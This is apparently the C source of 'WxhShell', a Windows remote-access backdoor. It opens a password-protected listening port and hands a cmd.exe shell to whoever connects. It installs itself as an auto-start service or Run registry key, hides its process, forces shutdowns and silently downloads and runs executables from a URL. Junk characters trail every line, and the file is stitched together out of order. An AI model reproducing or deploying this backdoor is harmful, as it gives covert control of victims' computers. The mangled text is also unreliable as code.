    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3(:mRb}  
    else { v,+@ U6i  
    closesocket(wsh); C\^K6,m5  
    ExitThread(0); I/aAx.q  
    } h 3&:"*A2  
    break; )rj mJ  
    } ?N ga  
  // 获取shell aK{\8L3]  
  case 's': { mSfhl(<L  
    CmdShell(wsh); l.x }I"tf  
    closesocket(wsh); i[pf*W0g  
    ExitThread(0); /aqN`  
    break; EVFfXv^  
  } 6dL>Rzl$Dk  
  // 退出 qt(:bEr^6b  
  case 'x': { 8ilbX)O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IdxToMr  
    CloseIt(wsh); 4AYc 8Z#'  
    break; b-?o?}*  
    } Z?.*.<"Sj  
  // 离开 v+#j>   
  case 'q': { dYd~9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WDdi}i>2  
    closesocket(wsh); E/ZJ\@gzD  
    WSACleanup(); ]eW|}V7A:  
    exit(1); 1Ol]^ 'y7)  
    break; ugB{2oqi  
        } i =N\[&  
  } Wu( 8 G  
  } h'~- K`  
kZ9< j+.  
  // 提示信息 <6C9R>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j>xVy]v=|  
} fWyDWU  
  } :dN35Y]a  
!&O/7ywe  
  return; A#X.c=  
} *BsDHq-F~  
C|\^uR0  
// shell模块句柄 2\{uq v  
int CmdShell(SOCKET sock) Db=>7@h3C  
{ S=,1} XZ  
STARTUPINFO si; 1gm/{w6O  
ZeroMemory(&si,sizeof(si)); O&w3@9KJ?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {@5WeWlz~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1bg@[YN!;  
PROCESS_INFORMATION ProcessInfo; @$d\5Q(G  
char cmdline[]="cmd"; i\;&CzC:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "g%:#'5  
  return 0; cqY.^f.  
} xm|4\H&Bg  
yH%+cmp7  
// 自身启动模式 lE)rRG+JLW  
int StartFromService(void) ]HV~xD7\  
{ =t$mbI   
typedef struct SU O;  
{ `u~  
  DWORD ExitStatus; _qt;{,t  
  DWORD PebBaseAddress; ~f10ZB_k>'  
  DWORD AffinityMask; _MbVF>JOx  
  DWORD BasePriority; sNfb %r  
  ULONG UniqueProcessId; ,{?bM  
  ULONG InheritedFromUniqueProcessId; Kn#xY3W6  
}   PROCESS_BASIC_INFORMATION; CS5jJi"pD3  
{]\uR-a(o  
PROCNTQSIP NtQueryInformationProcess; 3Ge<G  
AKKU-5 B9c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C.eV|rc@T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cm@oun  
1LE^dS^V  
  HANDLE             hProcess; e4q k>Cw  
  PROCESS_BASIC_INFORMATION pbi; ~5 pC$SC6>  
5V nr"d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (U'7Fc  
  if(NULL == hInst ) return 0; z]l-?>Zbg  
V87ee,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i %hn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t+!gzZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <]Pix )  
?PE1aB+{:  
  if (!NtQueryInformationProcess) return 0; IEoR7:  
;}eEG{`Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A,lw-(.z4Z  
  if(!hProcess) return 0; ss`q{ARb  
k;fnC+Y$s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YY:iPaGO  
-{8Q= N  
  CloseHandle(hProcess); im \ YL<  
a&s"# j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QE#-A@c  
if(hProcess==NULL) return 0; ( X 'FQ  
B`Or#G3ph  
HMODULE hMod; 1s} ``1>  
char procName[255]; =!S@tuY  
unsigned long cbNeeded; ADyNNMcx  
Tt<-<oyU.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  _WDBG  
0J:U\S  
  CloseHandle(hProcess); <[3lV)~t  
UQ$\ an'  
if(strstr(procName,"services")) return 1; // 以服务启动 ;%rs{XO9  
oX 2DFgz  
  return 0; // 注册表启动 lYZ@a4TA  
} GrLM${G  
c(Uj'uLc  
// 主模块 U)`3[fo  
int StartWxhshell(LPSTR lpCmdLine) cB|Cy{%  
{ hDB`t $  
  SOCKET wsl; y13CR2t6  
BOOL val=TRUE; ilIV}8  
  int port=0; !QQ<Ai!E  
  struct sockaddr_in door; k\Z;Cmh>  
neB.Wu~WH  
  if(wscfg.ws_autoins) Install(); 5gc:Y`7t  
]O[+c*|w  
port=atoi(lpCmdLine); Q_dXRBv=n  
9!O+Ryy?\  
if(port<=0) port=wscfg.ws_port; c;b[u:>~-  
hHfe6P |  
  WSADATA data; iC\rhHKQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kKxL04  
%|`:5s-T%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mq{$9@3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )WP]{ W)r  
  door.sin_family = AF_INET; >uyeI&z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c69U1  
  door.sin_port = htons(port); s=q%:uCO  
1&8j3"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l${Hgn+  
closesocket(wsl); h=v[i!U-eY  
return 1; [NCXn>Z  
}  +eDN,iv  
Imh2~rw;  
  if(listen(wsl,2) == INVALID_SOCKET) { }"&n[/8~  
closesocket(wsl); f*|8n$%   
return 1; ub zb  
} {h vQ<7b  
  Wxhshell(wsl); fz<|+(_>J  
  WSACleanup(); EBj,pk5M  
XDP6T"h  
return 0; r|\5'ZMx  
%67G]?EXB  
} r{R[[]p  
EaM"=g  
// 以NT服务方式启动  r21?c|IP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M73VeV3DL  
{ <<7,k f R  
DWORD   status = 0; }{#;;5KrB  
  DWORD   specificError = 0xfffffff; ONr?.MJ6j  
:>tF_6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S|{Yvyp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {UX"Epd);n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5bF9I H  
  serviceStatus.dwWin32ExitCode     = 0; ]689Q%D  
  serviceStatus.dwServiceSpecificExitCode = 0; G_2gKkIK-  
  serviceStatus.dwCheckPoint       = 0; DGa#d_I  
  serviceStatus.dwWaitHint       = 0; ~J:$gu~`  
{dy` %It  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a2c x  
  if (hServiceStatusHandle==0) return; Z%Tq1O  
a!c/5)v(  
status = GetLastError(); eEWro F  
  if (status!=NO_ERROR) r%g <h T 8  
{ ==-7F3QP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =1{H Sf  
    serviceStatus.dwCheckPoint       = 0; 7X9+Qj;  
    serviceStatus.dwWaitHint       = 0; $I)Tk`=  
    serviceStatus.dwWin32ExitCode     = status; V!pq,!C$v  
    serviceStatus.dwServiceSpecificExitCode = specificError; sW]yuu!/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vF.?] u  
    return; Vr&el  
  } RR[)UQ  
i$`|Y*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P;)2*:--)  
  serviceStatus.dwCheckPoint       = 0; dp"<KcP_  
  serviceStatus.dwWaitHint       = 0; ]97Xu_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .iOw0z  
} LKK{j,g7  
<_BqpZ^`  
// 处理NT服务事件,比如:启动、停止 SE-!|WR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^w;o\G  
{ 5}-)vsa`  
switch(fdwControl) `YFkY^T  
{ yM(_P0  
case SERVICE_CONTROL_STOP: #6*V7@9]3|  
  serviceStatus.dwWin32ExitCode = 0; `!UaScM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tIi!* u  
  serviceStatus.dwCheckPoint   = 0; U7nsMD  
  serviceStatus.dwWaitHint     = 0; * ajFZI  
  { !7:EE,W~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]iz_w`I\  
  } q=P f^Xp  
  return; 652uZ};e  
case SERVICE_CONTROL_PAUSE: [5]R?bQ0q{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4&FNU)tt  
  break; 07$/]eO%C  
case SERVICE_CONTROL_CONTINUE: 2k.S[?)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cOzg/~\1  
  break; *fxep08B  
case SERVICE_CONTROL_INTERROGATE: q*HAIw[<y  
  break; lEO?kn.:z  
}; S2koXg(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p&k 0Rx0Q3  
} 6obQ9L c  
7j@^+rkr3f  
// 标准应用程序主函数 G*)s%2c>h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zrLhQ3V#>  
{ YYTO,4  
&GXtdO>;Zv  
// 获取操作系统版本 pj!k|F9  
OsIsNt=GetOsVer(); L/qZ ;{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tpv?`(DDU  
oS[W*\7'!  
  // 从命令行安装 [TRGIGtq  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nb gp_:{  
$s e !8s"  
  // 下载执行文件 Y;fuh[#  
if(wscfg.ws_downexe) { A m2*-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S9OxI$6Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); hVlyEsLg  
} &E.OyqGZV  
euRCBzc  
if(!OsIsNt) { /'-:=0a  
// 如果时win9x,隐藏进程并且设置为注册表启动 0^J*+  
HideProc(); )vO_sIbnW  
StartWxhshell(lpCmdLine); +V2C}NQ5R  
} rDpe_varA  
else f?2zLE>u  
  if(StartFromService()) vg+r?4Q3  
  // 以服务方式启动 X tJswxw`K  
  StartServiceCtrlDispatcher(DispatchTable); ^OHZ767v  
else 'jh2**i 34  
  // 普通方式启动 zSEr4^Dk4  
  StartWxhshell(lpCmdLine); V8-4>H}Cb/  
YH6snC$u  
return 0; H"2U)HJl  
} G i$  
* zd.  
~ wfoK7T}  
M#=Y~PU  
=========================================== ]MC/t5vCu  
6o$Z0mG  
iYkRo>3!QX  
"EJ\]S]$X  
OZ eiH X!  
8r2XGR  
" , yTN$K%M  
{\P?/U6~f  
#include <stdio.h> q A.+U:I8  
#include <string.h> G"}qV%"6"  
#include <windows.h> )$MS 0[?  
#include <winsock2.h> Jm?l59bv v  
#include <winsvc.h> i:g{{Uuv  
#include <urlmon.h> w#W5}i&x  
AdDQWJ^r  
#pragma comment (lib, "Ws2_32.lib") t$aVe"uM  
#pragma comment (lib, "urlmon.lib") 6!*K/2:O  
OMl8 a B9  
#define MAX_USER   100 // 最大客户端连接数 0 9tikj1  
#define BUF_SOCK   200 // sock buffer !$xzA X,  
#define KEY_BUFF   255 // 输入 buffer Q%rVo4M#2  
#1MKEfv(~  
#define REBOOT     0   // 重启 55LgBD  
#define SHUTDOWN   1   // 关机 @=CLeQG`  
$Xf~# uH  
#define DEF_PORT   5000 // 监听端口 &q.)2o#Q.  
O ,l\e 3;  
#define REG_LEN     16   // 注册表键长度 &u&2D$K,tp  
#define SVC_LEN     80   // NT服务名长度  }K?F7cD  
`hzd|GmX  
// 从dll定义API 2K Pqu:lv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'zE: fLo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F/)f,sZF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KUbJe)}g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OE6#YT  
P;jlHZ9?O  
// wxhshell配置信息 y*_K=}pk  
struct WSCFG { %?@x]B9Y8E  
  int ws_port;         // 监听端口 =1O?jrl~q  
  char ws_passstr[REG_LEN]; // 口令 AD(xaQ&T  
  int ws_autoins;       // 安装标记, 1=yes 0=no e,^pMg~  
  char ws_regname[REG_LEN]; // 注册表键名 }Bd_:#.mw  
  char ws_svcname[REG_LEN]; // 服务名 xOhRTxic  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V!mWn|lf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "@(58nk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OO$|9`a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ACgt" M.3F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $\+"qs)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tu==49  
@sN^BX`z  
}; X!o@f$  
bH_I7G&m  
// default Wxhshell configuration fTTm$,f5N  
struct WSCFG wscfg={DEF_PORT, FWIih5 3`  
    "xuhuanlingzhe", "X`Qe!zk4  
    1, wI*Y{J  
    "Wxhshell", @ozm;  
    "Wxhshell", q Z#!CPHS  
            "WxhShell Service", :sFo  
    "Wrsky Windows CmdShell Service", &ryiG  
    "Please Input Your Password: ", [ ynuj3G V  
  1, 5H~@^!7t  
  "http://www.wrsky.com/wxhshell.exe", Dp^95V@  
  "Wxhshell.exe" #iiwD|  
    }; $khrWiX  
ej<`CQ  
// 消息定义模块 :|=- (z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h5 j<u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TWtC-wI;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3=IG#6)~C  
char *msg_ws_ext="\n\rExit."; l4zw]AYk+X  
char *msg_ws_end="\n\rQuit."; ,eDu$8J9  
char *msg_ws_boot="\n\rReboot..."; <H!O:Mf_p  
char *msg_ws_poff="\n\rShutdown..."; ~bWhth2*  
char *msg_ws_down="\n\rSave to "; JXL'\De ;  
m!;G/s*  
char *msg_ws_err="\n\rErr!"; ;>5,  
char *msg_ws_ok="\n\rOK!"; ,|A{!j`  
t]4!{~,  
char ExeFile[MAX_PATH]; J, r Xx:  
int nUser = 0; (VEp~BW@-R  
HANDLE handles[MAX_USER]; ;e2Ij  
int OsIsNt; !F-sA: xq  
_;#9!"&  
SERVICE_STATUS       serviceStatus; 2av*o~|J*:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zct!/u9 Q  
z1#oW f{*  
// 函数声明 ,^HS`!s[ E  
int Install(void); ghX:"vV{n  
int Uninstall(void); $:(z}sYQ7  
int DownloadFile(char *sURL, SOCKET wsh); 3Qa?\C&4  
int Boot(int flag); 8+&gp$a$  
void HideProc(void); 2!BsEvB(  
int GetOsVer(void); 6oYIQ'hc  
int Wxhshell(SOCKET wsl); pG~'shD~Dn  
void TalkWithClient(void *cs); .ByU  
int CmdShell(SOCKET sock); b22LT52  
int StartFromService(void); (xbIUz.  
int StartWxhshell(LPSTR lpCmdLine); db'K!M)  
y>)MAzz~\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vsc&Ju%k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }{A?PHV5  
j"i#R1T  
// 数据结构和表定义 \x(.d.l/  
SERVICE_TABLE_ENTRY DispatchTable[] = *CzCUu:%t  
{  ; HP#bx  
{wscfg.ws_svcname, NTServiceMain}, 2p+C%"n>  
{NULL, NULL} dt<~sOT3s  
}; -nOq\RYV  
] ;&"1A  
// 自我安装 dok)Je  
int Install(void) JS PW>W"  
{ w1c w1xX*  
  char svExeFile[MAX_PATH]; ",T` \8&@e  
  HKEY key; h^Qh9G0dn  
  strcpy(svExeFile,ExeFile); ETe-  
"U*5Z:8?9  
// 如果是win9x系统,修改注册表设为自启动 YroNpu]s  
if(!OsIsNt) { I ld7}R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g1ytT%]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dGU8+)2cn  
  RegCloseKey(key); K0v.3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?3Pazc]+|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JA< :K0  
  RegCloseKey(key); jAZ >mo[  
  return 0; 1g~y]iQ  
    } Jl_~_Z  
  } r,Ds[s)B  
} v~f'K3fLp  
else { <&6u]uKrW  
D,E$_0  
// 如果是NT以上系统,安装为系统服务 y~dB5/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =tnTdp0F  
if (schSCManager!=0) 9{$8\E9*nd  
{ (uRZxX  
  SC_HANDLE schService = CreateService "Tv:*L5  
  ( `[OXVs,7"  
  schSCManager, GyuV %  
  wscfg.ws_svcname, =&N$Vqn  
  wscfg.ws_svcdisp, -<PC"B  
  SERVICE_ALL_ACCESS, Vha'e3 o!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4T%cTH:.9N  
  SERVICE_AUTO_START, 3(C :X1  
  SERVICE_ERROR_NORMAL, _F^$aZt?e  
  svExeFile, *<xrp*O  
  NULL, 2uEhOi0I  
  NULL, bQ"N ;d)e  
  NULL, 6< >SHw  
  NULL, *%I[ ke *  
  NULL 4~Dax)  
  ); `zY!`G  
  if (schService!=0) DRp&IP<  
  { F3Ap1-%z  
  CloseServiceHandle(schService); OT;cfkf7  
  CloseServiceHandle(schSCManager); -zTEL (r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BJgDo  
  strcat(svExeFile,wscfg.ws_svcname); Xo8DEr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <}]{~y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C38%H  
  RegCloseKey(key); /K@$#x_{  
  return 0; ewym 1}o  
    } eG4>d^`c  
  } rFfy#e  
  CloseServiceHandle(schSCManager); D'n L  
} &wb9_? ir-  
} !)nD xM`p  
I-bF{  
return 1; M/} aq  
} R:f7LRF/\  
-%H%m`wD  
// 自我卸载 [IMQIX  
int Uninstall(void) 'bPk'pj9  
{ wFb@1ae\  
  HKEY key; 2f^-~dz  
'#<> "|  
if(!OsIsNt) { Y&g&n o_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { drIK(u\_  
  RegDeleteValue(key,wscfg.ws_regname); l2s{~IC  
  RegCloseKey(key); pC^2Rzf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'W(xgOP1  
  RegDeleteValue(key,wscfg.ws_regname); l]) Q.m  
  RegCloseKey(key); n/AW?'  
  return 0; lLMPw}r<  
  } lJ&y&N<O  
} O|7yP30?M  
} R6<4"?*r  
else { Cg3ODfe  
H-2_j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A0>x9XSkJ  
if (schSCManager!=0) > H~6NBd5D  
{ q]XHa,"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fhr-Y'  
  if (schService!=0) )!sa)\E?  
  { -dG,*0 >  
  if(DeleteService(schService)!=0) { $rB6<  
  CloseServiceHandle(schService); Y"*:&E2)r  
  CloseServiceHandle(schSCManager); puF%=i  
  return 0; Z2bUs!0  
  } R8 jovr  
  CloseServiceHandle(schService); v?)SA];  
  } r[!(?%>j  
  CloseServiceHandle(schSCManager); uREu2T2  
} /PW&$P1.]"  
} Egf^H>,.M  
{R8=}Qo  
return 1; S(w\ZC  
} !W~<q{VTs  
-TS? fne)  
// 从指定url下载文件 nvH|Ngg Q  
int DownloadFile(char *sURL, SOCKET wsh) ) Fx ?%  
{ 3e 73l  
  HRESULT hr; ZF'HM@cfo  
char seps[]= "/"; 3Oiy)f@{TF  
char *token; 11{y}J  
char *file; !^L-T?y.2  
char myURL[MAX_PATH]; )*D'csGc  
char myFILE[MAX_PATH]; +v-LL*fa  
M _(2sq  
strcpy(myURL,sURL); pX_b6%yX(  
  token=strtok(myURL,seps); F~R7~ZE  
  while(token!=NULL) 7kd|K b(  
  { OD|1c6+X  
    file=token; ,ux+Qz5(  
  token=strtok(NULL,seps); CL1 ;Inzl  
  } tl^m=(ZQ  
O,irpQ  
GetCurrentDirectory(MAX_PATH,myFILE); ?(D}5`Nfu  
strcat(myFILE, "\\"); `< Yf{'*  
strcat(myFILE, file); "-0;#&!  
  send(wsh,myFILE,strlen(myFILE),0); yC"Zoa6YZ  
send(wsh,"...",3,0); SQE` U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TGpSulg7  
  if(hr==S_OK) W_}/O'l{  
return 0; '\t7jQ  
else gQ+9xTd  
return 1; ]nc2/S%  
._,trb>o  
} 5 0Ad,mn<  
FW Y[=S  
// 系统电源模块 JJ-i_5\q  
int Boot(int flag) 'hIU_  
{ tT-=hDw  
  HANDLE hToken; L[]BzsIv  
  TOKEN_PRIVILEGES tkp; }"4roJ  
oIxH3T  
  if(OsIsNt) { x8/us  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h[Mdr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =fWdk\Wv  
    tkp.PrivilegeCount = 1; vi|Zit  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >UWStzH<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZAeQ~ j~  
if(flag==REBOOT) { (}"S) #C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! Rvn'|!  
  return 0; X" \}sl 5  
} ]3+``vL  
else { 5Eal1Qu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }p*?1N  
  return 0; <4f,G]UH_  
} Abf1"#YImy  
  } >[Rz <yv  
  else { VDa|U9N  
if(flag==REBOOT) { T V;BNCg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TvM24Orct  
  return 0; Sn ^Aud  
} jsZY{s=  
else { pl\b-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rKp1%S1  
  return 0; &CUC{t$VHX  
} 0'@u!m?  
} >?V<$>12  
)&z4_l8`=  
return 1; 0!_*S )  
} )!a$#"'  
^aptLJF  
// win9x进程隐藏模块 WgPgG0VJE  
void HideProc(void) B1+ZFQo  
{ qHJ'1~?q  
m}pL`:e!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f~*K {7  
  if ( hKernel != NULL ) l5HWZs^  
  { HlRAD|]\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oLP]N$'#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ppFYc\&=  
    FreeLibrary(hKernel); n ,1tD  
  } ZqP7@fO_%  
#TATqzA  
return; MWhwMj!:m  
} 1|/'"9v  
"Z~`e]>  
// 获取操作系统版本 Pw  xIz  
int GetOsVer(void) h!Y?SO.b  
{ /{R3@,D[]  
  OSVERSIONINFO winfo; bg1un@%!l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ph#efY`a:  
  GetVersionEx(&winfo); nuxd S ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i6PE6> 1/  
  return 1; j6og3.H-  
  else PY -+Bf  
  return 0; PI63RH8e  
} H pFb{  
kO+s+ 55  
// 客户端句柄模块 [Auc*@  
int Wxhshell(SOCKET wsl) m>YWxa   
{ %A2`&:ip  
  SOCKET wsh; x< S\D&  
  struct sockaddr_in client; DB~MYOX~  
  DWORD myID; n.Vtc-yZU  
"*bk{)dz}  
  while(nUser<MAX_USER) :MBS>owR  
{ J 8q  
  int nSize=sizeof(client); y1u9 B;Fd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F"=Hp4-C  
  if(wsh==INVALID_SOCKET) return 1; Yw[{beo  
HL8(lPgS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5H*>  
if(handles[nUser]==0) 3cHtf  
  closesocket(wsh); uP Rl[tS0  
else /n8 psj  
  nUser++; x;mJvfX  
  } ]?&H^"=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QPV@'.2m  
v~`*(Hh  
  return 0; RM#fX^)=  
} oXbI5XY)wb  
3G.r-  
// 关闭 socket Z8fJ{uOIL  
void CloseIt(SOCKET wsh) OM{Dq|  
{ 0T0/fg(o  
closesocket(wsh); VWD.J  
nUser--; CrO`=\  
ExitThread(0); ]hKgA~;  
} 6}STp_x  
C d|W#.6  
// 客户端请求句柄 eQ\jZ0s;p  
void TalkWithClient(void *cs) 6y9C@5p}B  
{ u?Z <n:  
9N1#V K  
  SOCKET wsh=(SOCKET)cs; [9HYO  
  char pwd[SVC_LEN]; {NV:|M!  
  char cmd[KEY_BUFF]; \ =Nm5:  
char chr[1]; &D)2KD"N  
int i,j; 0# l#,Y6#I  
Th/{x h  
  while (nUser < MAX_USER) { /ISLVp%H  
(JU_8j!  
if(wscfg.ws_passstr) { W]@6=OpH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5y}BCY2=/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KqK9X  
  //ZeroMemory(pwd,KEY_BUFF); jiq2x\\!  
      i=0; 7$#rNYa,z  
  while(i<SVC_LEN) { ke^d8Z.  
%i3{TL  
  // 设置超时 j9>TTgy@  
  fd_set FdRead; wB 2}uk7  
  struct timeval TimeOut; mZE8.`  
  FD_ZERO(&FdRead); w#<p^CS  
  FD_SET(wsh,&FdRead); |mvM@V;^8{  
  TimeOut.tv_sec=8; UFIjW[h  
  TimeOut.tv_usec=0; :~i+tD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]'e A O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E9L!)D]Y  
4]IKh,jT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 19) !$Hl  
  pwd=chr[0]; %}ixgs7*c0  
  if(chr[0]==0xd || chr[0]==0xa) {  ^ `je  
  pwd=0; ^X^,>Z|  
  break; `yx56  
  } {?y<%@  
  i++; )gjGG8 Ee  
    } !")WZq^`  
'xk1o,;  
  // 如果是非法用户,关闭 socket IW mHp]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,0h3x$l)   
} {Y^c*Iqn  
+NT:<(;|i5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fQ1 0O(`g,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j<@fT ewZ  
W.p66IQwL&  
while(1) { U&s(1~e\  
pW7kj&a_.  
  ZeroMemory(cmd,KEY_BUFF); G\):2Qz!|  
(Wn "3 ]  
      // 自动支持客户端 telnet标准   l<Lz{)OR  
  j=0; 4]]b1^vVj  
  while(j<KEY_BUFF) { jP7w6sk E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wM0E%6 P  
  cmd[j]=chr[0]; &#Wkww&Y  
  if(chr[0]==0xa || chr[0]==0xd) { u X> PefR  
  cmd[j]=0; Q~b_dx{m  
  break; boIVU`F-!  
  } d _uF Y:  
  j++; C6CGj8G  
    } w~n kNqm  
BPqwDj W  
  // 下载文件 YY\Rua/nG  
  if(strstr(cmd,"http://")) { I0(8Z]x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v/x*]c!"`  
  if(DownloadFile(cmd,wsh)) zaBG=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ISQ{M#_  
  else _Po#ZGm~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !bieo'c  
  } $CM4&{B"i  
  else { OK.-]()!  
}d@LSaM  
    switch(cmd[0]) { Y6+k9$h  
